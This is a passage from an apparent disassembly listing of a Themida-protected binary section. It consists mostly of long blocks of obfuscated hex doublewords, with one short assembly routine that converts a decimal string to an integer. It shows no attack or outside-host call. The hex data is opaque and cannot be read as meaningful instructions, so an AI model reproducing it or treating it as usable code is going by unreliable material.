745DEEC9h, 686D4714h dd 0EF10C968h, 18240481h, 8B10EF37h, 1F0B899Dh, 0FFF6A06h dd 95FFD9B7h, 61F14F9h, 13E961h, 54B10000h, 0E261C565h dd 66C8EF22h, 2651B75Bh, 0C98D437Bh, 0A59D01C2h, 0FF061F05h dd 1F0FDD95h, 0F7D28006h, 4D468D8Bh, 8166061Fh, 0FEC438F2h dd 0BCBA6601h, 2DBD8344h, 1061F31h, 6850Fh, 958B0000h dd 61F05F9h, 0F53C08Bh, 0C8Ch, 7E900h, 0BC670000h, 0E5D9117Bh dd 0BD835A39h, 61F06C1h, 83097500h, 1F1F51BDh, 1A740006h dd 0C08B5350h, 0F65858Bh, 8589061Fh, 61F0F65h, 0AFA49D8Dh dd 0D3FF0621h, 0BD83585Bh, 61F1F51h, 50187400h, 65858B53h dd 89061F0Fh, 1F0F6585h, 939D8D06h, 0FF0621ACh, 89585BD3h dd 1F085D85h, 0DBBF0F06h, 8166C08Bh, 837C7AE2h, 1F1281BDh dd 850F0006h, 4Dh, 60DABF0Fh, 0E830Fh, 9E90000h, 92000000h dd 3C12F3E6h, 0C4800985h, 53D28160h, 0E96A56DAh, 14h, 79E85CB3h dd 0BA9782D1h, 0F5BB4937h, 7DC7D6A9h, 8186CD1Fh, 0BD836161h dd 61F1AD9h, 6840F00h, 89000000h, 1F31B19Dh, 81BD8306h dd 61F12h, 29840Fh, 10E90000h, 0E0000000h, 0A69284FDh dd 0A2A99914h, 0C9E15873h, 8340FA8Eh, 1F2A45BDh, 840F0006h dd 7, 8C24BA51h, 835A79B2h dd 1F1281BDh, 840F0006h, 3Ah, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 8AC35747h, 8AD3014Bh, 958B98EEh dd 61F0D65h, 2A45BD83h, 0F00061Fh, 584h, 0C3816600h, 0BD831615h dd 61F1281h, 21840F00h, 66000000h, 8B5D15BAh, 1F00E99Dh dd 0FDBD8306h, 61F2Fh, 0A840Fh, 53560000h, 2C6D9D23h, 5A5B061Fh dd 1281BD83h, 0F00061Fh, 4284h, 68F0F00h, 33000000h, 1F119995h dd 39BD8306h, 61F1Fh, 29840Fh, 0FFF50000h, 1F2E0D95h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 70C29B5Ch, 8B47D481h, 0D88B66C0h, 6C1BD83h, 7500061Fh dd 51BD8309h, 61F1Fh, 53501A74h, 858BC08Bh, 61F1395h, 13958589h dd 9D8D061Fh, 621B00Bh, 585BD3FFh, 1F51BD83h, 7400061Fh dd 8B535018h, 1F139585h, 95858906h, 8D061F13h, 21ACAC9Dh dd 5BD3FF06h, 0BD896058h, 61F1D41h, 0EE9h, 2009E500h, 0C4F58A1h dd 0EFA18127h, 61839791h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 41C35242h, 0C08BDF8Bh, 12E8h, 64EBF500h dd 5AA5486Dh, 69AF1872h, 0C1599777h, 0B36E9E8Bh, 0BD835B7Fh dd 61F1281h, 68840F00h, 6A000004h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 3EF6C352h dd 0A8E82508h, 242D9503h, 0B860061Fh, 1BC77F3Eh, 83615957h dd 1F2329BDh, 840F0206h, 1Dh, 25BD31h, 9D8B061Fh, 61F0E29h dd 13D5BD83h, 0F01061Fh, 485h, 72BB6600h, 0B5BD839Ch, 61F16h dd 0A5840Fh, 0BA660000h, 6A60A66Ch, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0C029C351h dd 0CF439D8Fh, 0E18A607Fh, 468D8B61h, 0FE061F4Dh, 0D78B6601h dd 0AC77BBBh, 0ADF16874h, 10E94307h, 81000000h, 0B54AF8Dh dd 0C5F57F72h, 0B8969871h, 81990151h, 0AD712434h, 60BB4307h dd 6A4FBA12h, 10E9FFh, 185A0000h, 8B8EC807h, 0D12A894Dh dd 480D736Dh, 95FF2445h, 61F14F9h, 6123EB80h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0E3C35242h, 0B5C90613h dd 60340D87h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 60C35646h, 4D468D8Bh, 8D89061Fh, 61F31D1h, 9D8B01FEh dd 61F1DE9h, 0F5D9D33h, 0A168061Fh, 0E9D3147Dh, 14h, 5870A39Dh dd 5B62D9B4h, 0ECE5CA33h, 51870922h, 0F3497FD6h, 0DF240481h dd 292CEB82h, 1F129595h, 0FFF6A06h, 186h, 95FFF900h, 61F14F9h dd 0FE9h, 25FC0000h, 0A9422094h, 0C7EAC9E5h, 0EEF5841h dd 0C92DBB61h, 0BD8D710Ch, 61F31F9h, 8BD78B66h, 9D291C4Fh dd 61F15A1h, 810F016Ah, 5, 51CA8166h, 52505009h, 5B5A5351h dd 5256310Fh, 585A5B5Ah, 0F240C89h, 858DD8B7h, 6223DEBh dd 20D58D89h, 0D0FF061Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 71C35747h, 0F95C7D72h, 0B6204F8Bh, 80036AC9h dd 509172EFh, 0F89B352h, 13E831h, 541F0000h, 847497Bh dd 0DE4CBF84h, 2746B000h, 87D441ABh, 5B616032h, 0BA50585Ah dd 5926423Ch, 80F48A91h, 858D11D3h, 6223DEBh, 0BE9h, 0AA581600h dd 62AC76E9h, 7C71E170h, 8B50D0FFh, 1F2A5995h, 9D8B5B06h dd 61F07D1h, 31F9BD8Dh, 7E8061Fh, 0E6000000h, 575C5053h dd 0F78039BFh, 4F8B5BF6h, 0B866601Ch, 6A615C97h, 79BD8901h dd 3061F15h, 1F02859Dh, 52509106h, 5BD18B50h, 0F3BB310Fh dd 5A15B839h, 8B665058h, 0E86091D6h, 0Bh, 42F31683h, 0CA7D280Ah dd 80D9078Fh, 0BA5B2EE1h, 4B148A2Ch, 0EB858D61h, 8B06223Dh dd 1F32C59Dh, 6AD0FF06h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 4989C356h, 39610A95h dd 0F82F257h, 128Eh, 6E800h, 50B40000h, 0C6CDDF37h, 19A99589h dd 95A061Fh, 1F2AD5B5h, 204F8B06h, 23E38166h, 0F3816652h dd 36A2B4Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 0DBC35747h, 0D1D316A3h, 5CC84554h, 4E66BA6Fh, 605002D1h dd 14E9CF8Bh, 0F3000000h, 6881BC95h, 7D3A2395h, 4D860154h dd 5A5683D6h, 61DD8785h, 89240C89h, 1F13AD9Dh, 0EB858D06h dd 0F06223Dh, 28Fh, 29D18B00h, 1F1CE995h, 89D0FF06h, 1F2EB58Dh dd 468D8B06h, 0F061F4Dh, 887h, 9D0B5000h, 61F1B2Dh, 0E801FE5Ah dd 14h, 5C380D63h, 0A615D4BFh, 21A52955h, 6E03D5D9h, 93E90141h dd 830F51h, 5B000000h, 46858B5Bh, 6A061F4Dh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 0C91C356h, 9F163741h, 0F31677Dh, 0FED0BFh, 0EF712FBBh dd 6A016A41h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 66CFC353h, 4E8D18Bh, 0FF000000h dd 8BFFFF9Fh, 0B2BA50DAh, 8B76639Ah, 66042444h, 8BD1C5BAh dd 0BA666000h, 89610B2Dh, 60042444h, 8B665861h, 0F5858DD1h dd 6A06223Dh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 8BEDC356h, 0FFABD7DAh, 0B9958BD0h dd 83061F2Dh, 1F1AD9BDh, 840F0006h, 135h, 0B58B5060h, 61F05BDh dd 0BD836159h, 61F0EF5h, 1E850F01h, 6A000001h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 237C353h, 0E3802C3Fh, 0FF8D8D38h, 6A06223Dh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 0B60EC356h, 0FC63F092h, 0B58905BEh, 61F3041h, 14E8036Ah dd 35000000h, 9F02D71Bh, 45FD5349h, 118962C7h, 0D3CD1A7Fh dd 0FF6FE36h, 6A5AD8BFh, 6D858901h, 0FF061F12h, 6A74B3D1h dd 56006A01h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 668AD662h, 77C1C381h, 0FE9h, 0A2203400h dd 78917644h, 4A2930ABh, 0BF506CE5h, 0C830Fh, 8E0F0000h dd 6, 1041958Bh, 16A061Fh, 4DCB8166h, 6AD1FF74h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 7F90C356h, 7DF8F143h, 0F907F29Ah, 3C5E47E8h, 55006AFAh dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 3EB178E7h, 94267091h, 6A206AF5h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0BAC5C355h dd 4F576305h, 4BE28166h, 89FF6A81h, 1F2AC185h, 958D2906h dd 0FF061F1Fh, 1F14F995h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 419D8977h dd 0B8061F12h, 0 dd 7E8h, 7DA5BD00h, 94D0B25h, 0F5BD78Bh, 480h, 0D68B5300h dd 0FC00B5Ah, 0A084h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 0D13A3F20h, 817A1EDDh dd 14E9h, 0E4672A00h, 9220841Bh, 0CECD578Ah, 0AD5DF18Eh dd 9A42E3C0h, 81666061h, 0F53A4EF6h, 61BD8361h, 61F01h dd 4F840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 62954C3h, 12BF2A77h, 0FFD81A10h dd 1F0F1195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 9B099EDh, 1F078985h, 51858B06h, 6A061F17h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 3546C355h, 6DBD899Ch, 66061F0Dh, 195C281h dd 8B0000C6h, 8E958D6h, 68000000h, 986B6737h, 66E4FD80h dd 6AD98Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 0F6D0E7C3h, 840F04C1h, 7Ch, 718D8B60h, 8B061F13h dd 6DE961F9h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 0A010C353h, 398529F0h dd 0BA061F02h, 284F2F6Fh, 1BB5B58Bh, 69B6061Fh, 1180C681h dd 8D0F0000h, 6, 2A59952Bh, 958B061Fh, 61F11ADh, 6C7h dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 7DBFFBC3h, 55006A5Eh, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 0F88354h, 0A9E840Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 0E89DA1C3h, 0Ch, 6AA5D88Eh, 0AAD96CBCh, 4DD75CD0h, 0B782D381h dd 665B58A1h, 83AF81BAh, 850F01F8h, 1B5h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 17h, 0B6C35545h, 0E9EF9CEFh dd 12h, 0A84F34D7h, 6EF801Ah, 0F36E26Dh, 68997582h, 0B501EFDDh dd 61F30BDh, 0B8h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 0C57830Dh, 0CE9CFh, 0ABE30000h dd 6A9D34BDh, 0C49FE704h, 0C280384Fh, 0FC00B5Ah, 0D284h dd 0D68B6600h, 5820Fh, 0F7BA0000h, 832DAE49h, 840F01F8h dd 0D5h, 12E9h, 67E28400h, 938D3DACh, 1E60CF5Eh, 0CEFEBE07h dd 83CD67B9h, 840F03F8h, 53h, 0BA66C02Bh, 0BD8DA4DCh, 5B7974h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0C0C35343h dd 3DC445A8h, 6AE7FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 0F8CFE6C3h, 7BE68ABBh, 0B871D280h dd 1, 1B05B589h, 0BD8D061Fh, 5B7974h, 6AE7FFF5h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 516FC352h, 5211528Eh, 8BA5178Ah, 1F2F7995h, 11852906h dd 51061F2Eh, 8D5A51B2h, 1F43D2BDh, 3810F06h, 0F000000h dd 41E9D0BFh, 89000002h, 1F1921BDh, 0A185C706h, 5061F4Dh dd 60000000h, 2A65958Bh, 0B861061Fh, 5, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Bh, 0AEC35242h, 439360FAh dd 0B2C1B125h, 512DBBDDh, 35E95936h, 2B000008h, 1F0C5595h dd 2F88306h, 107850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 3611CEC3h, 0B589D07Ch dd 61F2BA5h, 0B8D88Bh, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 4A4CC353h dd 8E3F942Ah, 0BF970D0h, 8C840FC0h, 8B000000h, 1F10919Dh dd 1F88306h, 0FF43840Fh, 6060FFFFh, 60B6EC80h, 860F6161h dd 2, 8361FE8Bh, 840F03F8h, 0FFFFFEC7h, 259D8Bh, 0B8061Fh dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 9EBBC353h, 661EF51Eh, 0A931F381h dd 7974BD8Dh, 6A005Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 29F2D8C3h, 1F312995h, 31E7FF06h dd 1F066585h, 8DDA8A06h, 1F45CABDh, 0D7BF0F06h, 0F3E9h dd 8E800h, 0F5810000h, 0BC7A3BB7h, 0B5892A9Ch, 61F2365h dd 3F8835Ah, 19850Fh, 0FD8A0000h, 475EBD8Dh, 0CB80061Fh dd 0FD8A566Eh, 0C2E95Bh, 0FA8A0000h, 839CCA80h, 850F05F8h dd 10h, 1EF28166h, 6EAE93Eh, 0BD290000h, 61F0741h, 0F06F883h dd 1985h, 0D1950300h, 8D061F0Eh, 1F4956BDh, 0E9D88B06h dd 88h, 2C5DBD89h, 0F883061Fh, 34850F07h, 0F5000000h, 365BD8Dh dd 0BD31061Fh, 61F1885h, 0E6E9DA8Ah, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 70FC352h, 83D68B66h, 850F0AF8h, 3Ch, 0BD8D0CB2h, 61F4B4Eh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 50C35545h dd 0B8359A7Eh, 8120F9E6h, 480D72C2h, 6E914h, 0BD890000h dd 61F10C9h, 8B525257h, 1F2FE19Dh, 8B5A5A06h, 1F2E1595h dd 2605B906h, 0DB816C36h, 7DE5F6C4h, 0F003F83h, 4284h dd 0B9958900h, 30061F09h, 0D18B600Fh, 5F22B866h, 6AC9D161h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 13E9C351h, 68E0F47h, 23000000h, 1F06C595h dd 0FFB6E906h, 5FF8FFFFh, 0EE8h, 78A2CC00h, 0DEE71D22h dd 0B1FE4B09h, 66CE69C4h, 0EA50CA81h, 4ABD895Ah, 89061F4Dh dd 1F2FA585h, 0D98D8D06h, 6A061F0Bh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0C1A0C350h dd 3B6910Ch, 8D296581h, 61F0A65h, 0EE1B5FFh, 0EB80061Fh dd 0EB858DB9h, 500621A8h, 541DBD8Dh, 8D8D061Fh, 61F6E5Fh dd 831ABCB8h, 30CF2B54h, 47C8D007h, 8DF87549h, 1F6DE7B5h dd 778D8D06h, 2B061F6Eh, 33A4F3CFh, 0B8C9h, 0C00B0000h dd 0BD834674h, 61F0161h, 0FF067400h, 1F0F1195h, 4AB58B06h dd 8D061F4Dh, 21A8EB85h, 8DD0FF06h, 1F41B085h, 0C7D0FF06h dd 1F1FB185h, 106h, 7DA58B00h, 8B061F32h, 1F1245B5h, 65AD8B06h dd 33061F07h, 0CC2C0h, 869958Bh, 6A061Fh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 518978C3h dd 5A0BC380h, 18D9BD83h, 0F00061Fh, 2484h, 11E800h, 79850000h dd 25198A14h, 0C2B03CAFh, 0B2B0CC67h, 29207BCDh, 1F2E5995h dd 95FF5B06h, 61F0AD9h, 0CDBD83F8h, 61F09h, 1CD850Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 578A92C3h, 0F18ECECDh, 8589AD5Dh, 61F202Dh, 8D8B5760h dd 61F0599h, 18BBB85Bh, 83615D0Bh, 1F0EF5BDh, 850F0106h dd 187h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 5C35242h, 0B5240BD6h, 0D88A0C74h, 0F79BD83h, 0F00061Fh dd 15684h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 414788D7h, 4B1D9ED8h, 0B70F40C2h dd 0C19589DFh, 83061F0Bh, 1F4D9DBDh, 840F0006h, 11Bh, 66D958Bh dd 858D061Fh, 621A8EBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 0DFC35747h, 0B6DB48D3h, 8B6BC0E5h, 1F003D9Dh dd 4AB58B06h, 0E9061F4Dh, 0Ah, 3152EEA4h, 0F1B22C27h, 0D0FF4B59h dd 54DB8166h, 319D29F3h, 0C6061F12h, 1F202585h, 0C4B65406h dd 54977568h, 0E85250EFh, 0Ch, 0F253C812h, 5C5053E6h, 9539BF57h dd 0F5B5A56h, 0D38B6631h, 3481585Ah, 1A298124h, 0D8BF0F10h dd 20D9B5FFh, 6A061Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 0FE144DC3h, 0EA81D98Bh, 4DF9129Ah dd 394D858Dh, 0E280061Fh, 2BD0FF45h, 1F23799Dh, 66006A06h dd 0FF6AD18Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 65C35040h, 48C6EAAEh, 31DCE0F4h, 45950B09h, 0FF061F2Ch dd 0FD958BD0h, 0FF061F10h, 1F1EE5B5h, 0C98D8906h, 0FF061F14h dd 1F0EE195h, 819D8B06h, 8B061F18h, 1F4D4AB5h, 85895706h dd 61F3035h, 0BD89C35Bh, 61F0E15h, 1751B58Bh, 0BB66061Fh dd 0F60B287Eh, 32840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 0FBE8EC3h, 68Ch, 858D2900h dd 0C6061F0Eh, 9D890006h, 61F11F5h, 4D528589h, 6A061Fh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 0ADE6A4C3h, 0F94BA5DBh, 0F00F883h, 2B384h, 0DB805000h dd 0B85B74h, 80000000h, 0F8830ECEh, 0D5840F00h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 545CC351h, 0C6AB36A6h, 6E9BD89h, 0F883061Fh dd 72850F02h, 66000000h, 83ACEA81h, 43CD858Dh, 0D380061Fh dd 9292D28h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 850F34C3h, 10h, 0BE9h, 2B4A4F00h dd 36FA0C14h, 0DB8A0E97h, 11E9h, 0CD204500h, 3EDEC2F1h dd 0F5C71EA0h, 4269D01Dh, 0F50E9D8h, 384h, 0D38B6600h dd 0F240489h, 8BC3D1BFh, 1F31B99Dh, 0B806h, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 0BDCCC2C3h, 29750FBFh, 1F09F19Dh, 1CAE906h, 0D08B0000h dd 1B8h, 0A5950100h, 8D061F18h, 1F43D2BDh, 5880F06h, 0BB000000h dd 4345662Ah, 97E9h, 83FA8A00h, 850F02F8h, 17h, 0B71BD31h dd 0BD8D061Fh, 61F45CAh, 0E9D18B66h, 78h, 83F6DB80h, 850F03F8h dd 53h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h dd 0CAC35646h, 8D546A8Dh, 1F475EBDh, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 717F0EB2h dd 0B589D08Ah, 61F02E1h, 1BE9h, 8356B600h, 850F05F8h, 10h dd 9BEB8166h, 9EE934h, 95290000h, 61F0E4Dh, 6840F57h, 33000000h dd 1F1BAD95h, 2605B906h, 0D38B6C36h, 83D88B66h, 840F003Fh dd 78h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch dd 3C35040h, 47A1E90Fh, 369AF910h, 0B81958Bh, 0F30061Fh dd 0CB58D89h, 9D29061Fh, 61F1AADh, 0BE8C9D1h, 0A0000000h dd 0BD2C8806h, 0E85CB3DFh, 0EE8D179h, 9E000000h, 3CAA5D1Ch dd 87F0367Dh, 5EF87C1Eh, 25BD8986h, 5A061F02h, 0E9FC475Ah dd 0FFFFFF8Bh, 0D2BB6650h, 958B5A58h, 61F1171h, 0F05F883h dd 6F85h, 95236000h, 61F134Dh, 0D3BF0F61h, 0FD98C66h, 0C1F6D3B7h dd 43850F04h, 80000000h, 0B820E3h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 0FBF2C350h, 0B339C56Dh, 8952D4F6h, 1F1FA58Dh, 0DDB52906h dd 0E9061F2Ch, 18h, 0EF9958Bh, 858B061Fh, 61F2AA1h, 0E0FFD8B2h dd 9D8BDE8Bh, 61F1415h, 0EE1BD83h, 0F00061Fh, 10285h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 86BA6670h, 5E950E2h, 25000000h, 14ECB710h, 6A240489h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 89EEC350h, 85C65E75h, 61F2025h, 50006A45h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 1BA061D3h, 0A4975C90h, 0BD958B70h, 68061F0Dh, 9467BB20h dd 81D78B66h, 0D2492434h, 6A1A15h, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 664C7BC3h, 0E90A6EBBh dd 5, 0E9D1AEDAh, 0D9B5FF43h, 8B061F20h, 1F079595h, 4D858D06h dd 8B061F39h, 1F05999Dh, 6AD0FF06h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 21AAC353h dd 10EB80F0h, 8589DAB3h, 61F0EE1h, 5758D68Bh, 835BD18Bh dd 1F4DA1BDh, 840F0006h, 62h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 9EC35040h, 154457EBh, 3B8F380h dd 1F010995h, 0E5B5FF06h, 66061F1Eh, 8042D281h, 0EE195FFh dd 6A061Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 880F1EC3h, 6, 0AF19D8Bh, 0F883061Fh, 75850F00h dd 23000001h, 1F30FD95h, 0C9F38106h, 8341D393h, 1F2C31BDh dd 840F0006h, 99h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 8FC35141h, 1C1BDCC2h, 89440F28h, 1F0CF985h dd 31B5FF06h, 8B061F2Ch, 1F12A59Dh, 1B806h, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 63C65C3h, 0A5FA35ECh, 0E8800534h, 5, 0F25F14ACh, 35B5311Ah dd 5B061F1Bh, 272E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 0BB66C1C4h, 0B70FE2E0h dd 0E5B5FFD3h, 6A061F1Eh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 6D7CC351h, 0D7001B30h dd 1EE5B5FFh, 6A061Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 0D6612C3h, 6AA7781Dh, 7E926h, 3AF0000h dd 0DE2BAC8h, 0FE9E1h, 0E3C30000h, 0FA393AD7h, 0B3D41DD1h dd 4738AEA3h, 0E1B5FFB1h, 6A061F0Eh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 94F3C353h dd 4D2DC2C6h, 665CCE6Bh, 0ACE9D68Bh, 6A000001h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 74B9C356h, 0D0BAA6D0h, 51006A5Fh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0D1B2C619h dd 16E5BD83h, 0F00061Fh, 9285h, 8163BA00h, 9D8B6722h, 61F0211h dd 202585C6h, 0F4D061Fh, 4768D8BFh, 50E011D1h, 28F0F52h dd 60000000h, 0BA310F61h, 3C743ED4h, 3481585Ah, 24A7EF24h dd 3820F44h, 0F000000h, 0B5FFD3B7h, 61F2C51h, 8830FFCh dd 0F000000h, 286h, 8D616000h, 1F394D85h, 0DF8B6606h, 5E9D0FFh dd 0A3000000h, 47F07685h, 16E58589h dd 6A061Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 256B92C3h, 12715FE9h, 0B8E401C2h, 0 dd 9D1B70Fh, 1F0DAD8Dh, 4ABD8906h, 6A061F4Dh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 7C95C353h, 0A3FBD281h, 0C00B31F6h, 28840Fh, 0B7500000h dd 84E95B89h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 0A6E2C351h, 0B5FF7E64h dd 61F0EE1h, 1F3D9D8Bh, 858D061Fh, 621A8EBh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 22C35646h, 8166605Ch dd 89D2EDD6h, 1F0D999Dh, 8A506106h, 240489DEh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 32C35040h, 21858974h dd 50061F12h, 1DBD8D56h, 8D061F54h, 1F78D48Dh, 23BCB806h dd 0CF2B7483h, 0C8D00730h, 0F8754947h, 0BD83585Eh, 61F2C31h dd 8B067400h, 1F0A798Dh, 0B8C93306h, 0 dd 840FC00Bh, 99h, 161BD83h, 7400061Fh, 1195FF06h, 0B8061F0Fh dd 0 dd 975C00Bh, 4D52BD83h, 7401061Fh, 52BD8309h, 2061F4Dh dd 0B58B0E75h, 61F4D4Ah, 0A8EB858Dh, 0D0FF0621h, 41B0858Dh dd 0D0FF061Fh, 2329BD83h, 7502061Fh, 7DA58B2Fh, 8B061F32h dd 1F2C3185h, 24048906h, 1FB185C7h, 1061Fh, 0B58B0000h dd 61F4D4Eh, 765AD8Bh, 1B8061Fh, 0C2000000h, 0EB000Ch dd 1FB185C7h, 1061Fh, 0A58B0000h, 61F327Dh, 1245B58Bh dd 0AD8B061Fh, 61F0765h, 0CC2C033h, 0D9BD8300h, 61F18h dd 0BD830F74h, 61F0AD9h, 0FF067400h, 1F0AD995h, 4AB58B06h dd 0C3061F4Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 10C35242h, 2355C02Fh, 2F66D47Ah, 0DF8B66C6h, 6AD68B66h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 0D2B4C352h, 5E9305Dh, 2C000000h, 0F4B37755h dd 68C0F60h, 29000000h, 1F329D85h, 0DA816606h, 2B6188AFh dd 21958BD2h db 10h, 1Fh, 6 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_53572B ; --------------------------------------------------------------------------- loc_535729: ; CODE XREF: Themida_:0053572Ej inc eax inc edi loc_53572B: ; CODE XREF: Themida_:00535727j cmp byte ptr [edi], 0 jnz short loc_535729 xor ecx, ecx mov edi, [ebp+8] jmp short loc_53575A ; --------------------------------------------------------------------------- loc_535737: ; CODE XREF: Themida_:0053575Cj xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_53574F ; --------------------------------------------------------------------------- loc_53574C: ; CODE XREF: Themida_:00535752j mul ebx dec esi loc_53574F: ; CODE XREF: Themida_:0053574Aj cmp esi, 0 ja short loc_53574C pop ebx add ecx, eax pop eax inc edi dec eax loc_53575A: ; CODE XREF: Themida_:00535735j or eax, eax jnz short loc_535737 mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 55C35646h dd 2A3DA358h, 89CB63CDh, 1F0E858Dh, 8B48B206h, 23D0E9C1h dd 280002h, 0D57F0258h, 3F0059h, 0DA710258h, 59h, 0DA710000h dd 0FF680059h, 2460012h, 20000h, 10000h, 30000h, 0DCF80000h dd 0FA33h, 4 dup(0) dd 22180000h, 0B5BE0054h, 69690053h, 0BD0053h, 0AFD60054h dd 